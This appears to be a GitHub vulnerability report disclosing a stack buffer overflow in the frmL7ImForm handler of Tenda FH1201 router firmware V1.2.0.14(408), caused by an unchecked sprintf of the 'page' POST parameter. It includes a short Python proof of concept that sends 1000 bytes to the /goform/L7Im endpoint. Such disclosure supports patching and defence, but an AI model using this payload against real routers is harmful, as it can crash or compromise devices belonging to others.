Skip to content

Latest commit

 

History

History
29 lines (18 loc) · 1014 Bytes

frmL7ImForm.md

File metadata and controls

29 lines (18 loc) · 1014 Bytes

Overview

Affected version

FH1201 Firmware V1.2.0.14(408)

Vulnerability details

The Tenda FH1201 Firmware V1.2.0.14(408) has a stack overflow vulnerability located in the frmL7ImForm function. This function accepts the page parameter from a POST request. The statement sprintf(v10, "im.asp?page=%s", v3); leads to a buffer overflow. The user-supplied page can exceed the capacity of the v10 array, thus triggering this security vulnerability.

image-20240731133253828

POC

import requests

ip = "192.168.84.101"
url = "http://" + ip + "/goform/L7Im"
payload = b"a"*1000

data = {"page": payload}
response = requests.post(url, data=data)
print(response.text)

image-20240731133213595